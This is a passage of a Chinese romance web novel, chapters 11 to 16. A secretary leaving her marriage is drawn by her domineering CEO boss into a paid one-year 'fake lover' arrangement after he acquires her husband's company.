《离婚前夜,被高冷霍爷撩红温》 第11章 霍砚舟要咬回来 霍砚舟的桃花眼透着不可捉摸。 他扫了一下苏嘉觅的方案,提出来两个问题。 “数据支撑不够,堵点也不够毒辣。” 霍砚舟在方案上寥寥写了几笔,就让苏嘉觅找到了低价攻下嘉北的方向—— 一是技术支出低于人员成本支出,该公司本末倒置;二是陆北作为公司第一决策人,决策失误,导致公司商誉受损。 看着苏嘉觅眼中迸发出来的光亮。 霍砚舟没什么语气地说,“我收购出钱越少,你获利越多。” 确实如此! 苏嘉觅笑得和暖,“谢谢霍总提点。” 霍砚舟却拿出了协议给她签,“签了吧!” 这是之前苏嘉觅要求的保障她嘉北被收购后,她个人利益的协议。 苏嘉觅当着他的面将协议仔仔细细地看了一遍,确实都在维护她的利益,她欣然落笔。 霍砚舟嘴角勾出一抹淡笑。 签完协议,苏嘉觅回办公室将方案改了以后又拿给霍砚舟看。 看过方案,霍砚舟对苏嘉觅工作能力有了一个全新的认识,但对她这个人的认识似乎比工作还少了一些。 他放下文件,“就用这一版吧!” 霍砚舟起身,看似无意地赞叹,“你对待工作的着眼点不错,比看男人的眼光好。” 他的目光浓着对她个人的欣赏,可这句话无异于在说苏嘉觅看男人的眼光近乎眼瞎。 苏嘉觅喉头哽住,她挑眉,“霍总,你要是想损我眼瞎,可以直接一点说。” 霍砚舟语气调侃,“倒是不傻。” 他挑眉用平静无澜的眼神望向苏嘉觅,“出去吧!” 苏嘉觅有点无语。 新老板霍砚舟的性格冷厉孤傲,确实不是什么好性子的人,她已经预见了他以后很难伺候。 她微微颔首,“霍总有事再叫我。” 话音落,苏嘉觅就往外走。 看着苏嘉觅袅袅婷婷离开的背影,霍砚舟捻了捻手指,嘴角勾出一抹淡笑,让人猜不透的笑意。 苏嘉觅拉开门,就见黎骋引着陆北正过来。 她关上门,求助地看向霍砚舟,“霍总,我得借你的休息室躲躲。” “看见谁了,你吓成这样?” 霍砚舟一把拉住苏嘉觅的手腕,扯住了她。 苏嘉觅很慌,她去掰霍砚舟的大手,不想让他拉扯,“是陆北来了,霍总,你这样对女下属,你就不怕我告你骚扰?” “可以告,”霍砚舟手上上了力道,眼中浓上一层寒霜,“你的‘证人’都要进来了。” 苏嘉觅还没与陆北签转股协议,也没拿到100万“欠款”,她不能让陆北发现她什么都知道了。 情急之下,她伸头过去在霍砚舟的手腕上咬了一口。 霍砚舟吃痛松了手,他冷声呵斥,“你属狗的?” “属兔的,”苏嘉觅撩了一下头发,紧着脚步,“兔子急了还咬人呢!” 被怼的霍砚舟神色又阴冷了几分。 苏嘉觅是急了,好在她与霍砚舟签了协议,也签了劳动合同,大不了拿钱走人。 陆北要是蓄意报复她,她就回老家。 君子报仇,十年不晚,更何况她还是个小女子? 关上休息室的门,她背对着门给自己做心理建设。 门外,霍砚舟扫了一眼自己濡湿带着牙血印的手腕。 他清冷的眉眼带着戾气,抬眸冷然地剔向了刚进门的陆北。 陆北心头一凛。 难道霍砚舟对他有成见?所以每次他来见霍砚舟,霍砚舟没给过他好脸色。 黎骋觑了一眼休息室的门,他垂眸做了个请的手势,“陆总,里面请。” 陆北将极品明前龙井茶礼盒往霍砚舟面前送了送,就交给了黎骋。 “霍先生,这是我收的极品龙井,夏日喝最好了,清心明目。” 霍砚舟整理袖扣坐了下来。 他勾唇,“清心可以,我又不眼瞎,不用明目。” 休息室内,被内涵到的苏嘉觅面上一哂,她继续听着外边的动静。 陆北尴尬笑着称是,将公司几轮讨论下来的收购价目方案递给了霍砚舟。 霍砚舟接过,草草地看了一下,瞥见手腕上的细小牙印,他仰靠在沙发椅上,“我不也不跟你兜圈子,全部,3000万,我收。” 3000万是含了所有技术专利的打包收购价,低出陆北预期近2000万,他额头上沁着细密的汗。 陆北挺了挺身子,他沉声道,“嘉北规模不大,但核心技术...” 霍砚舟将苏嘉觅做的调查方案推到陆北面前。 “你看过后要是同意,就下去跟融资处谈细则,不同意,就算了。” 说完,他已经不再理会陆北开始办公。 室内的苏嘉觅没想到霍砚舟竟然把她做的供他谈判的方案拿给陆北看,就因为她咬了他一口,他就这么坑她? 陆北翻着方案,眼中尽是不可思议。 他不明白霍砚舟怎么会如此了解他的公司内情? 陆北瞬间意识到一个问题——公司有内鬼。 那这个人会是谁? 苏嘉觅! 一定是苏嘉觅报复他! 休息室的苏嘉觅坐不住了,她不能坐以待毙,她想用休息室里的座机找许瑶,交代许瑶若是陆北找她,就说她出去旅游散心了。 休息室是灰色的大理石地砖,苏嘉觅的高跟鞋一动,就传出去了声音。 她定住脚步,不敢再动,俯身脱鞋。 陆北看向休息室的门,他一度觉得躲在霍砚舟休息室的人就是苏嘉觅。 霍砚舟忽而撩眼皮看向陆北,“陆总考虑好了吗?” 陆北鹰隼般的眸子闪出冷光。 他似笑非笑地问,“收购是商业机密,霍总的休息室怎么还有别人?” 霍砚舟听此旋上钢笔,他眼神一暗,黑色的眼睛透露出的冷冽几乎要凝成实体。 他举了举手腕,“我养的猫不听话关禁闭,我还得只会陆总一声?” 陆北紧抿嘴唇,霍砚舟只单单一个眼神,那压迫感就如潮水般涌来,令人窒息。 他捏紧了已掌握他命脉的调查方案,“我同意。” 休息室内,小声给许瑶打过电话的苏嘉觅如释重负。 想到霍砚舟刚才是留了情面没有把她交出去,她心里有点过意不去她那一口。 想到这,苏嘉觅又打电话给许瑶,让她帮忙下单了用于包扎的小药箱送过来。 陆北与黎骋下楼谈细则。 人一走,霍砚舟就去了休息室。 他拉开门,声音阴冷,“苏嘉觅,你给我滚出来。” 苏嘉觅光着脚拎着高跟鞋出来,满脸都是狗腿的笑意。 她暖声道歉,“霍总刚才是我不对,您大人不记小人过,放我一马?” 霍砚舟冷声,“不行。” 苏嘉觅舔了下嘴唇,她又问,“那你想怎样?” 霍砚舟正了下领带,邪魅一嗤,“我要咬回来!” 第12章 苏秘书不想负责? 霍砚舟伸手抓住苏嘉觅的两只手腕将人往前一带,适当的暧昧距离下,他钳制住苏嘉觅的手腕将她的两个胳膊背了过去。 男女力量悬殊下,苏嘉觅像只骄傲的天鹅昂着脖颈,挺着傲人的胸脯在霍砚舟的俯视下,她神情诧异又局促。 “你干什么,放开我!” 苏嘉觅的挣扎于事无补。 霍砚舟却饶有兴致地盯着她,“我咬哪好?” 苏嘉觅紧绷的小脸泛红,“霍总要是不想要鼻子了,就尽管来咬我!” 这个姿势,只要苏嘉觅脑袋顶上去,铁定能把霍砚舟英挺的鼻梁搞成“二级残废”。 “这回不当兔子,改做勥牛了?” 霍砚舟舌尖抵了下口腔壁,语气阴恻,“你要是不想要从陆北那敲来的钱,你尽管叫!” 苏嘉觅一顿,她想不通霍砚舟怎么知道她又从陆北那搞了一笔钱? “那是我动手教训渣男的手续费,怎么能算我敲的?” 苏嘉觅理直气壮却很有分寸地放低了声音。 霍砚舟嘴角漾笑,“还真被我猜中了。” 他气息逼近苏嘉觅,眼中尽是她娇小鼻翼上的那颗黑色小圆痣,似曾相识的观感与感觉,让他又迫近了她几分。 “这么怕陆北,因你怕露馅!” 霍砚舟幽深的眼眸掠夺苏嘉觅的面容、脖颈还有白色衬衫领口下若隐若现的锁骨,“转股协议没签,钱没到手,你不敢喊。” 苏嘉觅瞪了眼前拿捏住她痛点的狗男人。 她微微偏过头,“你想咬哪?” 霍砚舟一怔。 他嗤笑,“你这么爱钱?” “我的钱,我不爱,难道我还让别人替我爱?” 苏嘉觅翻了白眼,瞪霍砚舟的明知故问,“我的钱是我亲儿子,我不能让他们跟后爹跑。” 如此清新脱俗的贪财说法逗笑了霍砚舟。 听到霍砚舟的闷笑声,苏嘉觅转过头报以灿烂微笑,“霍总,您人最好了,大人有大量,就饶我这一次。” 霍砚舟没动,是不为所动。 苏嘉觅又狗腿地说,“您咬我哪都不合适,您这种惊才绝艳的男神,怎么能让别人误会我们的关系呢?” “我就一普通的小女子,在你手下混口饭吃,我...” 苏嘉觅话没说完,男人已经俯身过来,温热的嘴唇落在她的脖颈处,吮咬带恨地咬了她一口。 僵愣住的苏嘉觅爆了粗口,“霍砚舟,你大爷!” 白皙的脖颈细肉温热柔软,口感不错。 霍砚舟冷笑,“你骂我?” 他又俯身下来,在刚才咬的旁边又来了一口,吮吸啃咬的力度比方才还要大一些。 苏嘉觅幽愤地瞪着霍砚舟,她这次没开口骂他,只是在心里默默问候了霍砚舟的祖宗十八代。 觑着学乖了的苏嘉觅,霍砚舟闷笑,“你还欠我一口。” 说完,他松开她。 苏嘉觅赶紧回身去那抽纸,嫌弃地擦脖颈。 “我咬你一口,你回我两口,我还欠你一口?霍总的数学怕也是得体育老师亲传的吧!” 霍砚舟能听出苏嘉觅咬牙切齿的恨意。 他冷声嗤笑,“你刚才在心里骂我,当我不知道?” 苏嘉觅惊诧地回身看向霍砚舟。 男人平静无波的眼神格外幽深,像是能读懂一切他人的心绪。 她突然间觉得这个男人太可怕了。 苏嘉觅瞟了霍砚舟一眼,找补地说,“霍总也报完仇了,我能走了吧?” 霍砚舟侧过身,示意她离开。 苏嘉觅捂着脖子往外走,就听霍砚舟又提醒她,“这两天躲好了,陆北一定抓你现行。” 她顿住脚步,迟疑几分钟又走了出去。 回到办公室,苏嘉觅让前台把快递帮忙送了上来,是她同城购上买的小药箱,没想到最后这伤药是上在自己身上。 她对着小镜子给自己上药,却不沙痛。 苏嘉觅没想到霍砚舟咬人还带技术的,没破皮。 只疼,没破皮,这个颜色像什么? 苏嘉觅凑近镜子细看——像吻痕。 她气闷地放下镜子,“霍砚舟到底想干什么?” 不多时,黎骋敲门进来。 他见苏嘉觅桌上摊着的药箱,又扫了一眼苏嘉觅脖颈上的吻痕。 黎骋迅速落下眼眸,“苏秘书,陆北已经签约了,3000万成交。” “知道了,谢谢黎特助。” 黎骋笑笑就出去了。 苏嘉觅暗叹霍砚舟会杀价。 嘉北值5000万,霍砚舟3000万收购,按照5000万补10%的股份给她也才500万,那么霍砚舟一下子省了1500万。 怪不得人家是商界阎罗,既会赚钱又会省钱。 苏嘉觅又想到霍砚舟刚才“欺辱”她,她又愤愤,“一个那不行的奸商,穷得就剩钱了。” 不多时,苏嘉觅的座机电话就响了。 苏嘉觅接起,就听霍砚舟清冷的声音传了过来,“苏秘书,带着你的药箱过来。” 这是要她去给他处理她咬的伤口? 他怎么知道她买了医药箱? 是黎骋,狗腿子帮着自己老板欺负她! 苏嘉觅没忍住,“霍总,我晚去一会儿,你那点伤口都愈合了。” “别让我说第二遍!” 霍砚舟不耐烦地说完就挂了电话。 苏嘉觅沉默了一会儿,给自己做心理建设,要想拿到钱、得到霍砚舟的庇护,那她就得放低姿态陪他玩。 只有把老板伺候好了,她才能获得最有利的局面。 等她攒够了钱,她就辞职,管他霍砚舟还是霍锅粥都跟她无关。 想到这些,苏嘉觅挤出一抹比哭好看点的微笑,拎着药箱去了霍砚舟的办公室。 霍砚舟办公室内还有一女人,她打扮得干练,只是那妖娆的风情神态在看到苏嘉觅的时候,唇角妩媚的笑容僵在了脸上。 霍砚舟偏头冲苏嘉觅使眼色。 “苏秘书,过来帮我一下。” 他边说边卸了袖扣将她咬的那个带着血牙印堂而皇之地露了出来。 苏嘉觅看出霍砚舟又想拿她做挡箭牌,劝退眼前的女人,她站在那没动。 霍砚舟眉眼平和,嘴角噙着讥诮的笑容,“你咬的,难道不想负责?” 他眉眼低垂,“苏秘书过来,先给我吹吹!” 第13章 互加微信:苏小二与霍老六 董事长办公室内,霍砚舟四平八稳地坐在那享受苏嘉觅提供的贴心包扎服务。 他剔了一眼对面的女人,“郝总监要是没事,出去吧!” 郝莉莉是霍砚舟的大学同学,是霍砚舟公司里的财务总监更是他的超级“舔狗”,要不是看在她工作能力不错且忠心耿耿,他早就把她开了。 眼下,霍砚舟就是用苏嘉觅劝退郝莉莉。 郝莉莉盯着往日冷厉不近人情的霍砚舟,他看苏嘉觅的眼神带着暧昧拉丝。 忽而,霍砚舟的大手握住苏嘉觅的脖颈,拇指捻过他咬过的痕迹,“还疼吗?” 郝莉莉倒吸一口冷气,她气闷地起身,“我先出去了。” 见人走了,苏嘉觅梗着脖子瞪霍砚舟,“霍总,人都走了,你该松手了。” 霍砚舟却没动。 他神情不阴不阳,“还疼吗?” 苏嘉觅扯掉霍砚舟的手,将创可贴贴在咬伤地方,然后她故意俯身去吹了吹,再用力按了按。 霍砚舟冷峻的眉眼微微上挑,随即恢复如常,“看样子是不疼。” 苏嘉觅没吭声,收拾东西准备走人。 “哑巴了?” 霍砚舟声音又冷了几分,他边整理袖口边漫不经心地问。 苏嘉觅长舒了一口气,“疼不疼您都说完了,我说什么呀?” 霍砚舟仰靠在沙发椅上,觑了苏嘉觅一眼,他才发现苏嘉觅是伶牙俐齿,有性子又狡黠的女人,挺有趣。 他拿过一旁的手机,“把我电话和微信存上。” 作为首席秘书,不知道老板的电话和微信,那实在有点说不过去。 苏嘉觅从半身裙的口袋里拿出手机,翻出微信二维码让霍砚舟扫。 霍砚舟扫码加好友,他修长的手指在备注名上打上了“苏”字,正要接着打“秘书”二字,就见苏嘉觅正盯着他的手机屏幕。 他垂眸哂笑,打上了“苏小二”的备注名。 苏嘉觅神情有些一言难尽。 她叹了口气,无奈地说,“霍总,要不我还是别做你秘书了,反正我在你心里左不过是个二傻子。” 霍砚舟是一个不太爱笑的人,可苏嘉觅上班第一天,他已经被逗笑几次了。 他微微偏头,“你的认知有点偏差,是店小二。” 店小二,就是伙计。 她苏嘉觅说好听点是霍砚舟的首席秘书,说难听点,她就是伺候霍砚舟一跑腿打杂的“店小二”,故名“苏小二”。 苏嘉觅皮笑肉不笑地应答,“谢谢霍总体恤我的工作。” 伶牙俐齿,嘴巴还甜,霍砚舟倒是挺受用。 他微抬下巴,瞟了一眼苏嘉觅的手机。 苏嘉觅将备注“霍总”的微信名称递给他看。 霍砚舟放心又满意地点点头,“你出去吧!” 苏嘉觅拎着药箱回了办公室。 一出门,她就拿出手机给霍砚舟改备注,她嘴角噙笑,有些得意。 她葱白修长的手指灵动地敲出了备注名——霍老六。 苏嘉觅勾唇,“霍老六,你个老六。” 彼时,霍砚舟按着百叶窗的遥控器升起了百叶窗,将苏嘉觅站在走廊拿着手机打字,得意笑的情景尽收眼底。 一天工作下来,苏嘉觅觉得自己不但能应对而且很清闲。 除了上午,霍砚舟玩命地折腾她,给她下马威,一下午,霍砚舟都没找她。 到了下班点,苏嘉觅去给霍砚舟送明日工作安排与行程。 推门进去,侧颜完美的霍砚舟目光沉沉地站在落地窗前,落日余晖洒在他白色的衬衫上镀给他一层柔和的暖色。 只是,苏嘉觅觉得眼前的霍砚舟浓着淡淡的愁绪,像是为某人而神伤的样子。 霍砚舟转头望向苏嘉觅,那种被人觊觎情绪的清冷目光让人不寒而栗。 “有事?” “霍总,我来送明日工作安排和行程。” 话音落,苏嘉觅将文件夹放在霍砚舟的桌面上。 霍砚舟走了过来,站在她身后,声音低沉,“陆北派人在地下停车场出口和大厦门口堵你。” 苏嘉觅顿住,她一转身,差点撞进霍砚舟怀里,她往后退了一步倚着桌子。 霍砚舟探身过去,抵着她的柔嫩的耳根,“家,你是回不去了,我带你出去?” “怎么带?” 苏嘉觅狐疑地盯着霍砚舟。 霍砚舟耸肩,“你跪在我车前座与后座之间的空隙处。” 他意气风发地笑笑,“这动作,你轻车熟路。” 苏嘉觅侧身沿着桌边蹭出了霍砚舟的视线。 她往外走,“谢谢霍总好意,我自己想办法。” 说完,苏嘉觅就走了。 霍砚舟双手抄在西裤口袋里目光幽深地盯着那文件夹,他不耐烦地扯了一下领带。 忽而,桌面上的手机响了,他疾步过去接起,“杳杳...” 另一边,苏嘉觅给许瑶打去了电话。 许瑶人去外地出差了,她不明白苏嘉觅怎么想到陆北一定会来问她苏嘉觅的行踪。 “陆北那孙子,我说你出去旅游了,他不信,他还去我公司找你了。他起疑心了?” 听到许瑶的话,苏嘉觅仰靠在沙发椅上,“说来话长,我的狗老板霍砚舟害惨我了,我晚上不回家了,住公司。” 而后,她将白天发生的事情告诉了许瑶。 苏嘉觅轻轻地搅着咖啡,“瑶瑶,霍砚舟跟我想的不一样,有些疯批,不对,他像疯狗。” “疯狗?他咬你啦?” 许瑶兴奋地问。 苏嘉觅脸颊微红,心想不仅咬了,还不止一口。 她没回答而是转了话题,“瑶瑶,我先挂了。” 许瑶觉得苏嘉觅上班第一天的精彩程度不亚于偶像剧。 她忙说,“别挂,你说霍砚舟故意让人误会,是不是拿你掩盖他不行的事儿?” “起初我也这么想,”苏嘉觅回想一下财务总监郝莉莉的痴情样儿,“可即便他不行,还是有一群女人上杆子,他没必要挑上我。” 许瑶翻着资料无语摇头,“觅觅,反正你晚上也没事儿,多看看镜子,重新认识下自己。” 她挂了电话,她觉得苏嘉觅是最会妄自菲薄的钓系美人儿。 苏嘉觅没把许瑶的话放在心上,她起身去茶水间泡泡面。 公司茶水间里有免费泡面提供给加班人员,不爱吃的定外卖,而苏嘉觅只想对付一口。 端着泡面回来的时候,恰巧遇见霍砚舟下班。 他身姿挺拔,阔步而行,优越的头身让他看上去更加高不可攀的矜贵。 霍砚舟觑了她一眼就走了。 苏嘉觅则端着面回办公室,她没想到星期一的正式上班竟然如此兵荒马乱。 霍砚舟的宾利开出停车场的时候,他扫了一眼盯在外边一天的车。 他嘴角噙上嗤笑,“黎骋,把门口的杂碎清了。” 二十分钟后,在西餐厅得知消息的陆北气愤地给苏嘉觅打电话。 苏嘉觅顿了良久才接起。 就听陆北气急败坏地吼了一句,“苏嘉觅,你是不是攀上霍砚舟了?” 第14章 不触及身体,不干涉灵魂! 彼时苏嘉觅在22楼走廊深处的洗手间,窗子微微敞开,高楼层的风嗖嗖地刮进来。 她捋了一下被吹起来的碎发,“陆北,我在海城踩沙子呢,你说什么粥?” 陆北彼时正在与冷媛在一家意式西餐厅吃饭庆祝收购的事情。 他躲在无人的洗手间,捂着手机话筒,却清晰地听到苏嘉觅那边的海风声。 陆北心想他太草木皆兵了。 苏嘉觅怎么可能认识商界阎罗霍砚舟? 想到这,陆北轻咳,“没什么,我问你什么时候回来?” “纪念日前,我一准儿回来!” 苏嘉觅清冷无波的目光落在京城夜晚迷人的霓虹之上,“你没事儿,我挂了。” 挂了电话,她讥诮的笑笑,她有些期待陆北知道她不仅是霍砚舟秘书,而且“背刺”他时的表情了。 “阿嚏!” 苏嘉觅伸手关上半开的窗,紧了紧领口回了办公室。 因为闲暇无事,苏嘉觅将公司的企业文化和规章制度都看了一遍。 晚上十点不到,她就简单洗漱一下窝在办公室的沙发椅上睡着了。 后半夜,苏嘉觅醒了,睡得不舒服。 她拎着抱枕和西服外套去了霍砚舟办公室外的小会客室躺在了三人沙发上才睡踏实,可人却陷进了悠长沉沦的梦里—— 苏嘉觅先是梦到自己小时候被孤儿院的院长收养,小小的她摇着头拒绝院长,“我有妈妈,她很快就会来找我了,我不跟你回家!” 又梦到院长丈夫在她上高中后,看她时,那贪婪的眼神儿。 苏嘉觅身上出了一层黏腻的薄汗,她翻了个身。 她又梦到她和陆北结婚又离了婚,民政局的门口,他指着她的鼻子骂,“你跟个死鱼一样,不让我碰,我娶你当摆设吗?” 苏嘉觅含糊不清地骂回去,“你才是死鱼呢,你全家都是死鱼...” 她翻身后晦气地眯了眯眼睛,就见霍砚舟一席笔挺的深色西装,搭配简约的淡蓝色衬衫,领带挺括,浑身气质矜贵而散漫地站在那盯着她。 霍砚舟眼中尽是嫌弃的挑弄,“只有没情趣的女人才会被说成死鱼。” 他撂下眼睑,“你在公司上班时间睡觉,还说出自己的缺点,合适吗?” 苏嘉觅恍然起身,此时天光大亮。 她捂了下脸,“对不起霍总,我睡过了。” “嗯,和谁?” 霍砚舟蹙眉,一副不可思议的神情,“苏秘书,我这是公司,不是你家。” 话音落,男人两手抄着西裤口袋,阔步回了办公室。 苏嘉觅怔忪片刻,她按了按眉心。 她小声咒骂,“霍老六眼瞎嘴毒,那不行!不能跟他一般见识,也不能跟钱过不去。” 苏嘉觅起身去洗漱。 在办公室画妆的时候,苏嘉觅有些头晕,鼻子也闷闷,脸上潮红一片,她昨天吹了过堂风,晚上睡觉着凉了。 苏嘉觅是戴着口罩,端着咖啡进的办公室。 霍砚舟正在办公,抬眼看了眼戴着口罩的苏嘉觅,“觉得没脸见人?” “霍总,我就感了个冒,怎么没脸见人?” 苏嘉觅不忿的声音从口罩里传出来,听着发闷,她将咖啡放在桌面上。 显然,作为“当事人”的苏嘉觅还不知道公司内发生了什么。 霍砚舟勾唇,“跟我传绯闻,你不亏。” 他端起咖啡抿了一口,“甜了。” 绯闻? 她和霍砚舟传了绯闻? 从霍砚舟办公室出来的苏嘉觅只是去茶水间、财务部等楼层转了一圈。 她就听到了一条离谱却劲爆的八卦——苏秘书上班第一天与老板霍砚舟在落地窗前激情过度,不仅弄脏了老板的西裤还咬伤了老板,她自己也没落到“好”,脖子有吻痕,真空上阵还冻感冒了。 她气闷地摘下口罩去找了黎骋。 黎骋见苏嘉觅过来,从抽屉拿出口罩戴好。 “苏秘书,你找我有事儿?” “黎特助,我昨天才看了你们企业文化,没想到还有八卦老板,老板放任不管这一项,”苏嘉觅气势很足,“你们这怕不是皮包公司吧?” 黎骋满脸堆笑,“她们是这样的,过两天就好了。其实,她们也想跟老板传点什么,苦于没机会。” 一个不行的男人有什么好肖想的? “这机会给黎特助,你要不要?” 苏嘉觅觉得黎骋跟霍砚舟沆瀣一气,她又问,“霍总故意这么做,他到底要干什么?” “我听不懂苏小姐的话。” 黎骋一派坦然,他指了指门,“没事的话,我要办公了。” 苏嘉觅觉得自己像是跳进了火坑,她又去了霍砚舟的办公室。 霍砚舟看着气势汹汹杀过来的苏嘉觅,他拧眉不悦却没开口。 “霍总,从我昨天入职到现在,你就在整我,”苏嘉觅盘桓了一下,开诚布公地说,“你要想劝退我就直说,我愿意将我违约劳动合同的赔偿款给你。” 霍砚舟哂笑,“我是缺那点钱的人?” 苏嘉觅,“所以,到底为了什么?” “测验一下你的抗压能力,”霍砚舟目光幽深,语气平和,“我想跟你做个交易。” 果然,霍砚舟这种天花板级的老狐狸不会无缘无故地搞事情。 “什么交易?” 苏嘉觅抿唇。 她轻咳一声,“霍总,我在你眼里或许微不足道,但我苏嘉觅挺在乎我自己的,所以,我事先声明,一不卖身,二不出卖灵魂。” 霍砚舟黑色的眼眸扫过苏嘉觅的玲珑曲线却露出一个索然无味的神情。 “你想多了,你在我眼里,根本不够看。” 他舔了下嘴唇又说,“坊间对我传言非虚,可我要面子。所以,我需要你当我的门面情人。” “不触及身体,不干涉灵魂,为期一年。” 霍砚舟似乎十拿九稳,语气不疾不徐,“我看苏秘书汲汲营营地从陆北手里抠那点钱,就说明你缺钱。” 苏嘉觅咕噜一下喉咙,她确实缺钱。 她以为跟陆北结婚后可以过上好日子,有更多的时间与财力物力去找她的亲生母亲,没想到陆北竟然出轨又骗她破产,她的那些钱到现在还没拿回来。 只是,霍砚舟看得没错——她很缺钱。 苏嘉觅坦然反问,“我是缺钱,给霍总当情人,我有什么好处?” “你会实现财务自由,再有我可以护着你不被陆北骚扰报复,”霍砚舟又指了指她,“而你也可以利用我给你的资源提前过上想要的生活。” 苏嘉觅觉得这桩买卖稳赚不亏。 只是霍砚舟为什么要找她? 她不解,“霍总为什么会选我?” 霍砚舟垂下眼睑,似是而非地说,“因为你合适,且我不讨厌你。” 他再抬眸,眼中尽是清明,“别急着答复我,我给你时间考虑。” 苏嘉觅没想好,她又问,“一年后,你给我多少报酬?” 霍砚舟从抽屉里取出空白支票推到苏嘉觅面前,“两亿以内,随你开价。” 苏嘉觅听此,心动了。 “成交!” 第15章 作为情人是要有一点牺牲 霍砚舟没想到苏嘉觅缺钱缺得厉害,只考虑了几秒钟就同意了。 猝不及防的好结果,让他暗自松了一口气。 霍砚舟松弛下来后,面上冷淡无波,“我会让黎骋拟好协议给你签字。” 商人的契约精神被霍砚舟演绎得很完美,而彼时,苏嘉觅却没像平常一样应声出去。 霍砚舟挑眉,“你还有事?” “霍总,我能不能提前行使一下情人的权利?” 苏嘉觅的笑容淡却暖,少见的柔和。 “什么权利?” 霍砚舟挑眉问。 “陆北并没有完全相信我人不在京城,所以,我现在不能回家。我闺蜜又出差了,我没地儿去。” 苏嘉觅咬了下嘴唇,“你能不能借套房子给我住,应个急?” 她怕霍砚舟不同意,又说,“我就住到下周,与陆北签完转股协议,我就住回自己家里。” 霍砚舟没说话,从抽屉里拿出一张磁卡,“我在风情雅苑有套大平层,你去住。” 他将门卡推了过去,“另外,让黎铮帮你办理户主入住手续,密码录入。” 苏嘉觅拿着卡,她微微偏头,“给我住?” 霍砚舟捞过桌面上的烟盒敲出一支烟,叼在嘴里,焚燃深吸了一口。 “不然呢?我的女人不可能住寒窑,即便是假的。” 苏嘉觅内心豁然开朗,她就知道自己答应这种天上掉馅饼的好交易,错不了! 她双手合十,像拜菩萨一样。 “谢谢霍总,能有霍总这样的大金主,我三生有幸。” 霍砚舟又觉得苏嘉觅除了伶牙俐齿而且拍马屁的功夫也挺到家,他掐着烟指了指门,示意苏嘉觅出去。 苏嘉觅却又站着不动了。 她轻咳了两声,“霍总,我能再提前行使一下情人的权利吗?” “没完了?” 霍砚舟脸色落了下来,笼上一层阴郁,“得寸进尺?” “我这是人之常情,”苏嘉觅嘟了嘟嘴巴,“我感冒了,昨天又没洗澡,能不能请一天假,让黎特助送我去风情雅苑办入住?” 苏嘉觅想好好休息,睡一觉,确实是人之常情。 可她拢共才上班三天,试用期请假,不合规矩。 “霍总?” 苏嘉觅眨着杏核眼,轻声软语地又叫了一声霍砚舟。 霍砚舟闷笑,“滚吧,别在我这放毒。” 感冒病毒也是毒。 苏嘉觅粲然一笑,紧着脚步出去找黎骋了。 霍砚舟很少吃亏,可看着狡黠的苏嘉觅成功请假走人,他觉得他在一个名不见经传的女秘书身上吃亏了。 他忍了。 黎骋没想到霍砚舟与苏嘉觅的进展这么顺利,他殷勤地开车将苏嘉觅送到了风情雅苑,为她办理的业主入住。 进入位于顶层楼王的大平层,苏嘉觅的期待值拉满后就是心情荡底——空空荡荡的房子里面连家具都没有。 “我说霍总怎么这么爽快的答应,敢情这啥也没有,”苏嘉觅倚着门,“我到这打地铺和在会议室睡沙发有区别吗?” 黎骋被问笑了,他推开卧室的门,“主卧有一张床,是之前杳...要进家具的,后来霍总有事耽误了。” 他轻咳,“我回去跟霍总说,尽快把家具给苏秘书配齐了。” “要嘚!” 苏嘉觅扫了一眼四百平的大平层。 让她花钱把家具配齐了,她宁愿住在50平的小公寓也不花这冤枉钱。 这房子是她借住的,哪个租客倒贴钱给房东添家具的,除非她脑子瓦特了。 黎骋走后,苏嘉觅在同城网上买了些日常的用品,被子、四件套还有洗漱用品和一些吃的。 回到公司,黎骋率先向霍砚舟汇报了苏嘉觅已经住进风情雅苑还有房间内没做卫生,没有家具的事情。 霍砚舟捏了捏眉心,他有些烦不过,“那没家具?” 黎骋颔首,“只有一张杳杳小姐之前定的双人床和床垫,别的都没有。” 话音落,他肉眼可见霍砚舟的脸色变差了。 黎骋紧绷下颌不敢再说话。 霍砚舟清冷幽深的眼眸闪过丝丝难过,他抬眸看向窗外,“把家具配齐,你先把苏嘉觅接到我的住所去。” 黎骋觉得不妥,他又说,“霍总,你和苏秘书是假的,没必要真住在一起。” “那让她跟你住?” 霍砚舟收回视线,翻了一下手中的文件,“我没意见。” 黎铮仔细把这事儿掰开揉碎地想了一下。 风情雅苑,苏嘉觅一时半会儿住不进去,而且新进的家具若是除醛不到位会引发淋巴系统的疾病。 若是苏嘉觅得了这病,她这个情人的意义何在? 黎骋垂眸敛目,“是我冒失了!苏秘书住我那也不合适,被人拍到,人家还以为三角恋呢!” “你知道就好!” 霍砚舟又冷声提点,“你以后离苏嘉觅远点,不要假戏真做了。” 黎骋这点自制力还是有的。 就算苏嘉觅是霍砚舟的假情人,那也是情人,他这个大boss的助理能越雷池半步? 黎骋刚要走,就见霍砚舟把文件扔给他。 “晚上再去接苏嘉觅,你先把嘉北的收购的尾巴了了。” 黎骋应声就去办事了。 下班后,黎骋开车载着霍砚舟去了风情雅苑。 两人进门,就见客厅地板上摊着苏嘉觅新买的吃的,还有一些用品。 “苏秘书?” 黎骋率先喊人,却没听到回应。 他猜测,“坏了,苏秘书感冒了,她不会是烧糊涂了吧?” 霍砚舟拧眉,闲庭信步地去了主卧。 他刚进主卧,就见苏嘉觅围着浴巾从主卧的洗漱间出来了。 苏嘉觅看到赫然出现的霍砚舟,她发出一声“惨绝人寰”的尖叫。 她尖着嗓子,“你出去!” 霍砚舟微微挑眉,他转身将即将进来的黎骋给推了出去,关上了卧室门。 苏嘉觅一手扶着裹着湿漉漉长发的毛巾,一手捂着浴巾。 “你...你怎么还不出去?” “苏秘书,我想我有必要给你上一课。” 霍砚舟扯了一下领带,解了顶端的衬衫领扣,双手抄兜,“你是我的假情人,但看起来要真。” “你什么意思?” 苏嘉觅脸上凝上一层讶异,“之前说‘不触及身体,不干涉灵魂’的,敢情你逗我玩呢?” 霍砚舟不疾不徐又讳莫如深地说,“有时候,女人作为情人是要有一点牺牲。” 第16章 晚上我打地铺,您睡床! 苏嘉觅听到霍砚舟的话,肉眼可见地变得尖锐。 “牺牲什么,怎么牺牲法?” 霍砚舟坐在床上,抻了下大长腿绷紧的西裤,“出差,应酬,你要跟我住一起。” 他挑眉,“我又没睡你,你要把嗓子喊哑了去露馅?” 住在一起,即便霍砚舟不碰她,那么两人错开洗澡,也难免会遇见穿睡袍或者穿睡衣的对方。 若想避免尴尬,那就得提前适应对方看到彼此洗去“铅华”的状态,而不是大呼小叫的惹人怀疑。 苏嘉觅就知道这钱不会那么好拿,可霍砚舟的意思也情有可原。 她颔首,“好,这样的事情,我保证不会再发生。” 